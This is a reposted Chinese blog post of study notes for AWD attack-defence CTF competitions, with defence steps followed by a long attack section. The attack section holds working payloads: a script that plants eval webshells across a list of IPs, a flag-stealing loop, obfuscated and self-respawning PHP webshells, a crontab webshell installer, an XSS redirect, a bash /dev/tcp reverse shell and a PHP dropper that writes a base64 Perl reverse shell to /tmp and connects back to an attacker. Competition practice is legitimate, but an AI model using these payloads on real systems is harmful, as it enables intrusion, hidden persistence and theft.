自学内容网 自学内容网

AWD学习(二)

学习参考:

AWD攻防学习总结(草稿状态,待陆续补充)_awd攻防赛入门-CSDN博客
国赛分区赛awd赛后总结-安心做awd混子-安全客 - 安全资讯平台

记第一次 AWD 赛前准备与赛后小结-腾讯云开发者社区-腾讯云

AWD学习笔记 - DiaosSama's Blog

防御阶段

1.修改各口令密码

(1)修改ssh弱口令:

$ passwd

(2)数据库root口令: 先更改配置文件  connect.php,再使用命令修改:

$ mysql -u root -p
Enter password:
mysql> set password for root@localhost = password('linelineline');
// root=用户名;linelineline=新密码;

修改完 mysql 相关部分后,习惯性使用命令应用修改:

flush privileges;

2.源码备份还原

可以使用Xftp直接拖

tar备份:

cd /var/www/html
tar -zcvf ~/html.tar.gz *

还原:

rm -rf /var/www/html
tar -zxvf ~/html.tar.gz -C /var/www/html

2.数据库备份还原

$ mysqldump -u root -p wlgf > backup.sql
$ mysql -u root -p wlgf < backup.sql

$ mysqldump —all-databases > 1.sql //备份所有数据库
$ mysql -u username -p < 1.sql     //还原所有数据库

备份后,如果遇到wlgf数据库被删除的情况:

先进入mysql创建 wlgf 数据库,刷新之后 再恢复

mysql> CREATE DATABASE wlgf;
mysql> flush privileges;

代码审计:Fortify、Seay

[ 代码审计篇 ] Fortify 安装及使用详解(一)

Fortify 是一个静态的、白盒的软件源代码安全测试工具。它通过内置的五大主要分析引擎:数据流、语义、结构、控制流、配置流等对应用软件的源代码进行静态的分析,通过与软件安全漏洞规则集进行匹配、查找,从而将源代码中存在的安全漏洞扫描出来,并可导出报告。扫描的结果中包括详细的安全漏洞信息、相关的安全知识、修复意见。

使用页面如下:

实用命令

  • 查找可能的password
    cd /var/www/html
    find .|xargs grep "password"
    
  • 查找后门
    find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
    
  • 查找flag的位置
    使用 `find / -name *flag*` 或 `grep -rn "flag" *` 类似的语句可以快速发现 flag 所在的地方,方便后续拿分
    
  • 检查有没有多余无用端口对外开放
    netstat -anptl
    

克制不死马

1.强行kill掉进程后重启服务(不建议)

ps -aux|grep ‘www-data’|awk ‘{print $2}’|xargs kill -9

2.建立一个和不死马相同名字的文件或者目录,sleep短于不死马

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.index.php';
    $code = 'hi!';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2024-12-09 19:10:12" .index.php');
    //    usleep(5000);
          usleep(1000);
    }
?>

3.写python脚本1.py不断删除

import os
import time

def create_and_delete_file(file_name, sleep_time):
    while True:  # 无限循环
        try:
            # 创建名为“1.php”的文件
            with open(file_name, 'w') as file:
                file.write("<?php echo 'Hello, World!'; ?>")

            print(f"文件 {file_name} 已创建")

            # 短暂等待,时间可以根据需要调整
            time.sleep(sleep_time)

            # 删除文件
            os.remove(file_name)
            print(f"文件 {file_name} 已被删除")
        except Exception as e:
            print(f"发生错误: {e}")
            break  # 如果发生异常,退出循环

# 调用函数,创建和删除文件
create_and_delete_file("1.php", 0.5)  # sleep时间为0.5

4.运行bash脚本

#!/bin/bash
while true 
do
#kill -9 进程ID
rm -rf .test.php
done

5.条件竞争

#!/bin/bash
dire="/var/www/html/.test.php/"
file="/var/www/html/.test.php"
rm -rf $file
mkdir $dire
./xx.sh

杀弹反弹shell

查看进程

ps -ef
px -aux
ps -aux | grep www-data

注意 www-data 权限的 /bin/sh,很有可能是nc

查找并终止特定进程:

kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'

//结束命令
ps -aux | grep www-data | grep apache2 | awk '{print $2}' | xargs kill -9

文件监控

监听还原脚本‐>5分钟还原一次

使用本地py环境运行,需要更改sshIP及端口

import paramiko
import os
import time

def web_server_command(command,transport): #对服务器执行命令
    ssh = paramiko.SSHClient()
    ssh._transport = transport
    stdin, stdout, stderr = ssh.exec_command(command)
    # print(stdout.read())

def web_server_file_action(ip, port, user, passwd, action): #对服务器文件操作
    try:
        transport = paramiko.Transport(ip, int(port))
        transport.connect(username=user, password=passwd)
        sftp = paramiko.SFTP.from_transport(transport)
        remote_path='/var/www/html/'
        remote_file = 'html.tar'
        local_path = 'C:/Users/'+os.getlogin()+'/Desktop/awd/'+ip+'/'
        web_server_command('cd '+remote_path+' && tar -cvf '+remote_file+' ./',transport)
        if not(os.path.exists(local_path)):
            os.makedirs(local_path)
        if action == 'get':
            sftp.get(remote_path+remote_file,local_path+remote_file)
            web_server_command('rm -rf '+remote_path+remote_file,transport)
            print('服务器源码保存在'+local_path)
            print('正在解压:')
            os.system('cd '+local_path+' & tar -xvf '+remote_file+' &del '+remote_file)
            print('文件解压完成')
        else:
            web_server_command('rm -rf '+remote_path+'*',transport)
            print('清理服务器web目录')
            os.system('cd '+local_path+' & tar -cvf '+remote_file+' ./*')
            sftp.put(local_path+remote_file, remote_path+remote_file)
            print('上传成功')
            web_server_command('cd '+remote_path+'&& tar -xvf '+remote_file+' && rm -rf '+remote_file,transport)
            print('还原完毕')
            print('-----------------------------')
        sftp.close()
    except:
        pass
        print('download or upload error')

def web_server_mysql_action():
    #web_server_mysql_action
    pass
def web_server_status():
    #web_server_status
    pass
if __name__ == '__main__':
    web1_server_ip='10.241.180.159'
    web1_server_port='30021'
    web1_server_user='ctf'
    web1_server_passwd='123456'
    while(1):       
        for i in range(5,0,-1):
            time.sleep(1)
            print('倒计时'+str(i)+'秒')
        web_server_file_action(web1_server_ip,web1_server_port,web1_server_user,web1_server_passwd, 'put')

攻击阶段

nmap扫描端口后,win+alt 选择性粘贴

nmap 172.16.17.202 -p10000-20000

后门任意命令执行

D盾扫出任意命令执行后门,这个预留后门也是最简单的可以碰碰运气打一下看看有没有没修的

news.php

这个漏洞一般都会修的,通过它初步学习一下写马方法

GET传参?id=1(大于1的数字)

// 如果GET请求中存在名为'id'的参数
if(isset($_GET['id'])){
    $_html['id']=$_GET['id'];        // 将这个参数的值赋给变量$_html的'id'键
    // 如果'id'为空,不是数字,小于0,或者大于0但小于1
    if(empty($_html['id']) || !is_numeric($_html['id']) || $_html['id']<0 || ($_html['id']>0 && $_html['id']<1)){
        echo '<script type="text/javascript">alert("非法访问!");location.href="index.php";</script>';
        exit; 
    }else{                                  // 如果'id'参数合法
        $_html['id']=intval($_html['id']);  // 将'id'参数的值转换为整数
    }
}
// 如果GET请求中不存在名为'id'的参数
else{
    // 输出JavaScript代码,弹出警告框提示“非法访问!”,并将浏览器重定向到index.php页面
    echo '<script type="text/javascript">alert("非法访问!");location:index.php;</script>'; 
    exit; 
}

GET传参 zzz

构造payload,在源代码中得到flag

/news.php?id=3&zzz=cat /flag

通过命令执行执行上传一句话木马

可以通过命令执行执行上传一句话木马 <?php eval($_REQUEST['1']); ?>

//base64编码编写
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8+Cg==|base64 -d>>news.php
//+号被过滤,使用url的%2B代替
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8%2BCg==|base64 -d>>news.php


//url编码编写
echo %3C?php%20eval($_REQUEST%5B'1'%5D);%20?%3E|url -d>>news.php

使用脚本批量上传

import requests

# 定义payload
payload = "echo PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7ID8%2BCg==|base64 -d>>news.php"

# ip.txt文件中的每一行都是一个IP地址
with open('ip.txt', 'r') as file:
    ips = file.readlines()

# 遍历IP地址列表
for ip in ips:
    # 去除换行符
    ip = ip.strip()
    # 构造完整的URL
    url = f"http://{ip}/news.php?id=3&zzz={payload}"
    # 发送GET请求
    try:
        response = requests.get(url, timeout=5)
        print(f"Sent payload to {ip}, Status Code: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"Failed to send payload to {ip}, Error: {e}")

写入后通过HTTP请求执行任意PHP代码

/news.php?id=3&1=system('cat /flag');

脚本批量获取:

import requests
import re
import time

# 使用with语句自动管理文件资源
with open(r'E:\AWD\second\jiaoben\ip.txt', 'r') as f:
    with open('flag0.txt', 'w') as flag_file:  # 打开flag0.txt文件准备写入
        for ip in f:
            # 正确构造URL
            url = 'http://' + ip.strip()
            path = "/news.php?id=1&1=system('cat%20/flag');"  # 注意URL编码
            payload = url + path
            try:
                # 发送GET请求
                response = requests.get(payload)
                # 使用正则表达式搜索flag
                result = re.search('[a-z0-9]{32}', response.text)
                if response.status_code == 200 and result:
                    print(url, result.group())
                    # 将找到的flag写入文件
                    flag_file.write(result.group() + '\n')  # 写入文件并添加换行符
                else:
                    print(url, "There is no flag here")
            except requests.exceptions.RequestException as e:
                # 打印异常信息
                print(f"请求失败:{e}")

 # 等待5分钟(300秒)后再次执行
    print("等待5分钟...")
    time.sleep(300)

XSS

劫持流量实现恶意跳转

没啥实质攻击捣乱一下

可以在修改昵称处插入一句像这样的语句:

<script>window.location.href="http://www.baidu.com";</script>

那么访问/admin 时就会被跳转到百度的首页。

解决: 删除该用户即可

//具体操作:

1.登录mysql数据库:mysql -u root -p
2.使用相关数据库(wlgf):use wlgf
3.查看数据库中所有表的名称:show tables;
4.查看表(user)中所有字段信息:SELECT * FROM user;
5.删除对应(id=3)用户:DELETE FROM user WHERE id = 3;
  删除id=2,id=3的用户:DELETE FROM users WHERE id IN (2, 3);

最后再查看表中信息,删除成功了,页面也恢复正常

SQL注入

python sqlmap.py -r "E:\bp\2.txt" --os-shell --batch

--os-shell: 利用 SQL 注入漏洞来执行操作系统命令。获得一个交互式的 shell,可以在目标服务器上执行任意的操作系统命令。

抓包注入页面并保存文件,使用抓包文件进行注入(最准确)

使用Burp抓包,然后保存抓取到的内容到文件中,使用sqlmap -r 加载抓包文件,让sqlmap使用抓包文件中的数据来测试SQL注入漏洞,这种方式是最准确的

权限维持

一句话木马

简单易发现,也很容易被人利用

<?php eval(REQUEST['1']); ?>   //php
<script language="php">eval($_POST['1']);</script>
<sCriPt>、<ScRiPt>、<Script>    //大小写绕过
<scrscriptipt language="php">eval($_POST['1']);</scrscriptipt>    //双写绕过
<%eval request("1")%>         //asp
<% E=request("1");eval(E)%>   //变形绕过安全检测

过盾一句话

不容易被发现,也不容易被其他队利用

<?php $a=1;$b="a=".$_GET['a'];parse_str($b);print_r(`$a`)?>

可以改造成header返回的马,可以把这个一句话木马放到index.php中,直接访问index.php,从header中拿到flag。 

<?php $a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);?>

$a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);

MD5马

检查POST请求中名为'1'的参数的MD5哈希值,此处1=md5ma

<?php
echo 'hello';
if(md5($_POST['1'])=='6be79677ed2bf64cf4c11c53ac69e56e'){
@eval($_POST['cmd']);
}
?>

不死马

  • php file_put_contents写入不死马
file_put_contents('.1ndex.php',base64_decode('PD9waHAgIAogICAgc2V0X3RpbWVfbGltaXQoMCk7ICAKICAgIGlnbm9yZV91c2VyX2Fib3J0KDEpOyAgCiAgICB1bmxpbmsoX19GSUxFX18pOyAgCiAgICB3aGlsZSgxKXsgIAogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCcubG5kZXgucGhwJywnPD9waHAgaWYobWQ1KCRfR0VUWyIxIl0pPT0iNmJlNzk2NzdlZDJiZjY0Y2Y0YzExYzUzYWM2OWU1NmUiKXtAZXZhbCgkX1BPU1RbIjEiXSk7fSA/PicpOyAgCiAgICAgICAgc2xlZXAoMCk7ICAKICAgIH0KPz4='));

GET:1=md5ma

POST:1=system('ls');

  • linux命令不死马
while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done
  • php不死马

在AWD比赛中,不死马对于维持权限十分有效。将该php文件上传到服务器,然后进行访问,会在该路径下循环生成名字为 .index.php 的不死马隐藏文件

<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.index.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2024-12-09 19:10:12" .index.php');
    usleep(5000);
}
?>

#pass=pass
#密码 a
#文件名 .index.php  .DS_story

直接访问:

GET:http://xxx.xxx.xxx.xxx:/.index.php?pass=pass

POST:a=system('cat /flag');

蚁剑连接:

http://xxx.xxx.xxx.xxx:/.index.php?pass=pass

菜刀参考:

  • 变种不死马

- 开头的文件名

在 Linux 命令行中,各种命令会有许多的参数,所以,如果对这样方式命名的文件,执行任何命令,都会将这个文件当做参数来执行命令,没有该参数就会报错。导致什么命令都无法在这个不死马上执行,但是,在浏览器中连接访问是没问题的,依旧可以解析。

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '-header.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_REQUEST["a"]);} ?>';
while (1){
    file_put_contents($file,$code);
    //system('touch -m -d "2024-12-09 19:10:12" .login.php');
    file_put_contents($file1,$code);
    usleep(5000);
}
?>
#pass=pass&a=system('cat /flag');
  • crontab写马

system('echo "* * * * * echo \"<?php  if(md5(\\\\\\\\\$_POST[pass])==\'1a1dc91c907325c69271ddf0c944bc72\'){@eval(\\\\\\\\\$_POST[1]);}  \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');

pass=pass

密码:1

crontab -u www-data CRON_FILE 来指定用户运行指定的定时任务

反弹shell

bash反弹shell    bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9 0>&1
nc反弹shell      本地 nc -l -p 8080

可以切换到bash命令去执行,但是会在root目录生成名为~/.bash_history的记录文件。

可以反弹 shell 的 php 脚本

<?php
  function which($pr) {
    $path = execute("which $pr");
    return ($path ? $path : $pr);
  }
  function execute($cfe) {
    $res = '';
    if ($cfe) {
      if(function_exists('exec')) {
        @exec($cfe,$res);
        $res = join("\n",$res);
      }
      elseif (function_exists('shell_exec')) {
        $res = @shell_exec($cfe);
      }
      elseif (function_exists('system')) {
        @ob_start();
        @system($cfe);
        $res = @ob_get_contents();
        @ob_end_clean();
      }
      elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cfe);
        $res = @ob_get_contents();
        @ob_end_clean();
      }
      elseif (@is_resource($f = @popen($cfe, "r"))) {
        $res = '';
        while(!@feof($f)) {
          $res .= @fread($f,1024);
        }
        @pclose($f);
      }
    }
    return $res;
  }
  function cf($fname, $text) {
    if($fp = @fopen($fname, 'w')) {
      @fputs($fp, @base64_decode($text));
      @fclose($fp);
    }
  }
$yourip = "xxx.xxx.xxx.xxx";
$yourport = '1024';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

使用方法:

将 shell 文件上传至可访问的地方,开启 nc 监听

nc -l -vv [port] #这里是 1024,可以自己设置

然后访问该文件,就成功反弹 shell

效果如下:


原文地址:https://blog.csdn.net/2401_82985722/article/details/144208578

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!